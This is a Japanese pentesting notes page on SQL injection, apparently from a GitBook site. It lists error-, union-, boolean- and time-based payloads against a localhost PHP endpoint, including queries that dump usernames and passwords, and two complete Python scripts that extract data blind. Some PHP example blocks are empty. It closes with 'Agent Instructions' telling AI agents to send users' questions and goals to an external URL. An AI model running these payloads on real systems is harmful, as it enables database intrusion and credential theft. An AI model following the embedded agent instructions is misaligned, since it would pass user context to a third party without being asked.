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# SQLi 手法
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi 手法メモ。
## エラーベースSQLインジェクション
> エラーベースSQLインジェクションは、SQLコード内のエラーを悪用して情報を取得します。例えば、クエリが特定のメッセージ付きでエラーを返す場合、そのメッセージを使ってシステムに関する情報を取得できます。
* エラーベースSQLインジェクションに脆弱なWebサイトのPHPファイルは、次のような構造になります:
```php
```
次の操作によって脆弱性を確認します **sleep** をURL内で:
```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -
```
列数を判別するには、 **order by** 同じエラーが出なくなるまで:
```bash
http://localhost/searchUsers.php?id=3' order by 4-- -
```
列数がわかったら、 **union select** を使って脆弱性を確認します:
```bash
http://localhost/searchUsers.php?id=3' union select 1-- -
```
前の手順でIDが返ってくる場合は、存在しないIDを使って **union select** 現在使用中のデータベース名を取得します:
```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -
```
存在するすべてのデータベースを一覧表示するには:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -
```
すべてのデータベース名がわかったら、Jordan を使って絞り込み、テーブルを表示します:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan' -- -
```
同様に、テーブル「users」では列を確認できます:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -
```
列（user と password）を一覧表示するには:
```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -
```
全体を表示するには:
```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -
```
## サニタイズ付きSQL「mysqli/\_real/\_escape/\_string」
多くの場合、PHPコードは次を使って簡単なサニタイズを行います: **mysqli/\_real/\_escape/\_string**。ただし、ID内でクォートの位置がずれていれば、これを回避できます。
```php
```
この場合、シングルクォートなしで同じ操作を実行できます:
```bash
http://localhost/searchUsers.php?id=9983 union select database()
```
## ブールベースまたはタイムベースSQLインジェクション:
> タイムベースSQLインジェクションは、情報を取得するために実行に時間のかかるクエリを使います。例えば、クエリがテーブル内を検索し、リクエストに遅延が追加される場合、その遅延を使って追加情報を取得できます。
***
> ブールベースSQLインジェクションでは、ブール式を含むリクエストを使って追加情報を取得します。例えば、ブール式を含むクエリを使うことで、ユーザーがデータベースに存在するかどうかを判定できます。
***
Webサイトがページへリダイレクトするケースは多くあります **404 Not Found** IDが存在しないことを示す場合です。以下は、関数を使ったコードの例です **http/\_response/\_code**:
```php
```
ステータスコードの視覚的な例 **404 Not Found** および **200 OK** を **curl** クエリが正しいか誤っているかによる:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"
```
したがって、ブラインド攻撃では、条件と時間の2つの手法を使えます。
### ブールベースSQLインジェクション
存在しないIDでクエリを送信し、試してください **または 1 = 1**:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"
```
以下のPythonスクリプトを使えば、この脆弱性を悪用してデータベースにアクセスできます。この例では、スクリプトがユーザー名とパスワードを取得します（ファイルは、前述のようにURL、テーブル名、列、データベースなどに応じて、変数を変更して修正する必要があります **sqli/\_url**).
```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] 終了... /n")
sys.exit(1)
# SQLi の手法
signal.signal(signal.SIGINT, def_handler)
# SQLi の手法
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("総当たり攻撃")
p1.status("総当たり処理の開始")
time.sleep(2)
p2 = log.progress("抽出済みデータ")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 126):
sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
p1.status(sqli_url)
r = requests.get(sqli_url)
if r.status_code == 200:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
```
### タイムベースSQLインジェクション
存在しないIDでクエリを送信し、または **sleep (0.35)**:
```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"
```
以下のPythonスクリプトを使えば、この脆弱性を悪用してデータベースにアクセスできます。この例では、スクリプトがデータベース名を一覧表示します（ファイルは、前述のようにURL、テーブル名、列、データベースなどに応じて、変数を変更して修正する必要があります **sqli/\_url**).
```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] 終了... /n")
sys.exit(1)
# SQLi の手法
signal.signal(signal.SIGINT, def_handler)
# SQLi の手法
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("総当たり攻撃")
p1.status("総当たり処理の開始")
time.sleep(2)
p2 = log.progress("抽出済みデータ")
extracted_info = ""
for position in range(1, 150):
for character in range(33, 126):
sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
p1.status(sqli_url)
time_start = time.time()
r = requests.get(sqli_url)
time_end = time.time()
if time_end - time_start > 0.35:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
```
---
# Agent Instructions
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## Querying This Documentation
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Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
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